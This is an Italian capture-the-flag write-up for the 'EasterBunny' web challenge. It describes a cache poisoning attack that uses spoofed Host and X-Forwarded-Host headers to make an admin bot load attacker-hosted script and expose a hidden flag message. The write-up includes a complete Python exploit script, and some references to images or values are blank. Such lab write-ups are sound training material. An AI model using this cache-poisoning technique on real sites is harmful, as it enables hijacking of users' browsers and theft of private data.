EasterBunny

Autore: Lord Shiva Aggiornamento: 01.08.2023 Tempo di lettura: 05 min.
 

C'è una funzione che consente all'utente di comporre una lettera. Se lo scrivi, puppeteer il bot lo visiterà tramite .

La flag è contenuta nel terzo messaggio ma come potremo vedere è in stato hidden.

Come mostrato di seguito, /message/:id puoi vedere i messaggi uno per uno attraverso il percorso di routing. Nel caso del messaggio n.3, non puoi vederlo a meno che non si acceda tramite un bot.

True viene restituito solo quando si tratta di una connessione locale e di un cookie dell'amministratore.

Ciò che all'inizio era sospetto era che viewletter.js. Il file viene caricato con un percorso relativo come mostrato di seguito. L'indirizzo di base può essere modificato arbitrariamente.

Sono stato in grado di manipolare l'URL del CDN aggiungendo l'intestazione come mostrato di seguito. Nel caso degli header dobbiamo modificarla con l'host locale.

Codice exploit utilizzato:

from requests import Session
from time import sleep

info = lambda x: print(f'[+] {x}')
s = Session()

URL = 'http://:'
M_SERVER = ''

def get_id():
    res = s.get(f'{URL}/message/1')
    current_id = res.json()['count']
    return current_id

def cache_poisoning(id):
    headers = {
        'Host' : '127.0.0.1',
        'X-Forwarded-Host' : f'{M_SERVER}'
    }
    res = s.get(f'{URL}/letters?id={id}', headers=headers)
    if f'{M_SERVER}' in res.text:
        info('Cache Poisoning Success!!')

if __name__ == '__main__':
    ## Get last message id
    next_id = get_id() + 1

    ## Cache Poisoning
    cache_poisoning(next_id)

    ## Write message to force the admin bot to visit page
    s.post(f'{URL}/submit',json={'message' : 'hacked'})
    
    ## Some delay
    sleep(4)
    
    ## Get Flag
    res = s.get(f'{URL}/message/{next_id+1}')
    FLAG = res.json()['message'].split('! ')[1].split('"')[0]
    info(f'Flag is {FLAG}')

 

 Buon divertimento e invia la flag: HTB{7h3.............................3d!}